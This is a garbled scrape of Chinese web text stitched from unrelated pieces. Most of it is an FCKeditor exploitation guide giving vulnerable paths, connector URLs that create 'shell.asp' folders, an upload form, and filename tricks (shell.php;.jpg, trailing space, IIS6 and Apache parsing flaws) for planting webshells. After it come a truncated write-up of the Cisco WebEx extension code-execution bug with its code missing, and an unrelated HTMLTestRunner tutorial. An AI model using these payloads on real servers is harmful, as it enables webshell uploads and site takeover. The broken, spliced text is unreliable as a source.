FCKeditor/_samples/default.html
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
fckeditor/editor/filemanager/connectors/test.html
FCKeditor/_whatsnew.html
FCKeditor/editor/filemanager/browser/default/connectors/php/config.php
影響版本:非優化/精簡版本的FCKeditor
脆弱描述:
如果存在以下文件,打開后即可上傳文件。
攻擊利用:
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
XML頁面中第二行 url=/xxx的部分就是默認基準上傳路徑
Note:
[Hell1]截至2010年02月15日最新版本為FCKeditor v2.6.6
[Hell2]記得修改其中兩處asp為FCKeditor實際使用的腳本語言
影響版本: FCKeditor x.x <=FCKeditor v2.4.3
脆弱描述:FCKeditor v2.4.3中File類別默認拒絕上傳類型
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 <=2.2
允許上傳asa、cer、php2、php4、inc、pwml、pht后綴的文件
上傳后 它保存的文件直接用的
$sFilePath=$sServerDir . $sFileName
而沒有使用$sExtension為后綴。直接導致在win下在上傳文件后面加個.來突破[未測試]。而在apache下,因為”Apache文件名解析缺陷漏洞”也可以利用
附:
測試環境:apache 2.0.53 winxp,apache 2.0.52 redhat linux
1.國外(SSR TEAM)發了多個advisory稱Apache’s MIME module (mod_mime)相關漏洞,就是attack.php.rar會被當做php文件執行的漏洞,包括Discuz!那個p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。
2.S4T的superhei在blog上發布了這個apache的小特性,即apache 是從后面開始檢查后綴,按最后一個合法后綴執行。其實只要看一下apache的htdocs那些默認安裝的index.XX文件就明白了。
3.可以充分利用在上傳漏洞上,列舉如下
影響版本
安裝了iis6的服務器(windows2003),受影響的文件名后綴有.asp .asa .cdx .cer .pl .php .cgi
脆弱描述:
利用2003系統路徑解析漏洞的原理,創建類似bin.asp如此一般的目錄,再在此目錄中上傳文件即可被腳本解釋器以相應腳本權限執行。
攻擊利用:
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
強制建立shell.asp目錄:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
或者
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
影響版本: FCKeditor 2.2 <=FCKeditor 2.4.2
脆弱描述:
FCKeditor在處理文件上傳時存在輸入驗證錯誤,遠程攻擊可以利用此漏洞上傳任意文件。
在通過editor/filemanager/upload/php/upload.php上傳文件時攻擊者可以通過為Type參數定義無效的值導致上傳任意腳本。
成功攻擊要求config.php配置文件中啟用文件上傳,而默認是禁用的。攻擊利用:
<form id="frmUpload" enctype="multipart/form-data"
action="http://****XXXX/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
PS:如想嘗試v2.2版漏洞,則修改Type=任意值 即可,但注意,如果換回使用Media則必須大寫首字母M,否則LINUX下,FCKeditor會對文件目錄進行文件名校驗,不會上傳成功的。
影響版本:aspx版FCKeditor
攻擊利用:
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/1.asp
影響版本: FCKeditor=> 2.4.x
脆弱描述:
我們上傳的文件例如:shell.php.rar或shell.php;.jpg會變為shell_php;.jpg這是新版FCK的變化。
攻擊利用:
提交1.php+空格 繞過
ps:※空格只支持win系統
unix是不支持的[1.php和1.php+空格是2個不同的文件]
影響版本:=>2.4.x的最新版已修補
來源:T00LS.Net大佬的解釋
由于Fckeditor對第一次上傳123.asp;123.jpg 這樣的格式做了過濾。也就是IIS6解析漏洞。
上傳第一次。被過濾為123_asp;123.jpg 從而無法運行。
但是第2次上傳同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已經存在。
文件名被命名為123.asp;123(1).jpg …… 123.asp;123(2).jpg這樣的編號方式。
所以。IIS6的漏洞繼續執行了。
如果通過上面的步驟進行測試沒有成功,可能有以下幾方面的原因:
1.FCKeditor沒有開啟文件上傳功能,這項功能在安裝FCKeditor時默認是關閉的。如果想上傳文件,FCKeditor會給出錯誤提示。
2.網站采用了精簡版的FCKeditor,精簡版的FCKeditor很多功能丟失,包括文件上傳功能。
3.FCKeditor的這個漏洞已經被修復。
影響版本:Aspx與JSP版FCKeditor
脆弱描述:Getshell請參考“TYPE自定義變量任意上傳文件漏洞”
攻擊利用:
修改CurrentFolder參數使用 …/…/來進入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
根據返回的XML信息可以查看網站所有的目錄
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
鏈接上一段
影響版本: 較早版本
脆弱描述:
通過自定義Type變量的參數,可以創建或上傳文件到指定的目錄中去,且沒有上傳文件格式的限制。
攻擊利用:
直接修改上傳類型參數 直接上傳 getshell
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打開這個地址就可以上傳任何類型的文件了,Shell上傳到的默認位置是:
http://XXXXX/UserFiles/all/1.asp
解釋: Type=all 這個變量是自定義的,在這里創建了all這個目錄,而且新的目錄沒有上傳文件格式的限制.
例如:
網馬就可以傳到網站的根目錄下.
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
如找不到默認上傳文件夾可檢查此文件:
isco的WebEx extension(jlhmfgmfgeifomenelglieieghnjghma)擁有約2,000萬活躍用戶,并且它也是思科Webex視頻會議系統重要的組成部分。
該擴展適用于包含magic模式“cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html”的任何URL,可以從擴展清單中提取。 請注意,該模式內嵌在iframe中,因此不需要用戶有更多的交互,只需要訪問網站就可以了。
該擴展使用nativeMessaging,所以這個magic字符串可以讓任何網站執行任意代碼!
這個擴展使用的協議很復雜,使用CustomEvent()對象,在Web頁面中和本機代碼之間傳遞JSON消息。
在初始化的過程中,網站使用該擴展發起請求打開一個端口進行通信,如下所示:
然后消息可以通過 "message" 事件傳遞到native code。 注意,這里不能是MessageEvent()對象,并且不能使用postMessage API,它們必須是CustomEvent()對象。
有幾種不同的消息類型,例如“hello”,“disconnect”等。最有趣的是“launch_meeting”類型:
使用該擴展進行視頻會議的過程中,我dump了初始化消息:
有大量的屬性,很多屬性都有可能存在代碼執行的問題,下面這些是我挑出來的一些:
將這些字符串解碼,如下所示:
這看起來像某種奇怪的腳本語言。 'HWND'的存在表明這是與native code交互,如果我dump atmccli.DLL的導出:
看起來像在該腳本語言中調用的函數。 是否可以在這里找一些突破口?
我注意到,他們提供一個CRT(微軟的C Runtime,包含像printf,malloc等標準例程)的副本,所以我試圖調用標準_wsystem()routime(像system(),除了WCHAR字符串),像這樣 :
難以置信,居然執行成功了!
完整EXP
作者上傳了一個測試頁面到如下地址,這個地址是安全的,沒有其他非法代碼執行,僅會彈出一個計算器。
https://lock.cmpxchg8b.com/ieXohz9t/
如果需要測試,你僅需提供姓名、email,不需要注冊即可在下面中測試:
https://www.webex.com/test-meeting.html
該漏洞超過90天漏洞公開原則期限,官方尚未提供補丁,故細節得以公開。
安全客建議
更新官方1.0.3版本:
https://chrome.google.com/webstore/detail/cisco-webex-extension/jlhmfgmfgeifomenelglieieghnjghma?hl=zh-CN
但由于安全社區對該補丁的有效性尚存一定的疑慮,我們建議安裝了Webex的用戶,(hao)暫(hao)時(guo)禁(nian)用(bie)其(wan)瀏(dian)覽(nao)器(jiu)插(xing)件。
載地址HTMLTestRunner.py文件:
http://tungwaiyip.info/software/HTMLTestRunner.html
下載的適合python2,如果python3要修改一些內容
首先吧HTMLTestRunner文件添加到環境變量里,可以直接放到python的Lib目錄下
HTMLTestRunner是python標準庫unittest單元測試框架的一個擴展,用于生成HTML測試報告
#coding:utf-8
import unittest, HTMLTestRunner
class Testcase(unittest.TestCase): # 測試用例類
# 具體的測試用例,一定要以test開頭
def test1(self):
self.assertEqual(1, 1)
def test2(self):
self.assertEqual(2, 2)
if __name__=="__main__":
# 構造測試集
suite=unittest.TestSuite()
suite.addTest(unittest.makeSuite(Testcase)) # 執行該測試類所有用例
# 定義報告的存放路徑,以二進制寫的形式打開文件
f=open('test.html', 'wb')
# 定義測試報告,stream:報告存放路徑,title:報告標題,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=u'測試用例標題', description=u'描述')
runner.run(suite) # 運行測試用例
f.close() # 關閉文件
返回結果(測試報告詳情):
--stream :存放報告寫入文件的存入區域
--title :測試報告的主題
--description :測試報告的描述
為了生成帶有中文描述的測試用例類和測試用例
在用例類和用例方法下,通過’’’ ‘’’或””” “””來添加備注
#coding:utf-8
import unittest, HTMLTestRunner
class Testcase(unittest.TestCase): # 測試用例類
u'''類名后加備注'''
def test1(self):
u'''用例后面加備注1'''
self.assertEqual(1, 1)
def test2(self):
u'''用例后面加備注2'''
self.assertEqual(2, 2)
if __name__=="__main__":
# 構造測試集
suite=unittest.TestSuite()
suite.addTest(unittest.makeSuite(Testcase))
# 定義報告的存放路徑,以二進制寫的形式打開文件
f=open('test.html', 'wb')
# 定義測試報告,stream:報告存放路徑,title:報告標題,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=u'測試用例標題', description=u'描述')
runner.run(suite) # 運行測試用例
f.close() # 關閉文件
返回結果:
#coding:utf-8
import unittest, HTMLTestRunner, time
from unittest.loader import makeSuite
class Testcase(unittest.TestCase): # 測試用例類
# 具體的測試用例,一定要以test開頭
def test1(self):
self.assertEqual(1, 1)
def test2(self):
self.assertEqual(2, 2)
if __name__=="__main__":
# 構造測試集
suite=unittest.TestSuite()
suite.addTest(makeSuite(Testcase)) # 執行該測試類所有用例
# 定義報告的存放路徑,以二進制寫的形式打開文件
now=time.strftime("%y-%m-%d %H_%M_%S")
f=open('./' + now + 'test.html', 'wb')
# 定義測試報告,stream:報告存放路徑,title:報告標題,description:描述
runner=HTMLTestRunner.HTMLTestRunner(stream=f, title=u'測試用例標題', description=u'描述')
runner.run(suite) # 運行測試用例
f.close() # 關閉文件
返回結果:
將紅框里的內容注釋掉改成uo=o.decode('utf-8')
*請認真填寫需求信息,我們會在24小時內與您取得聯系。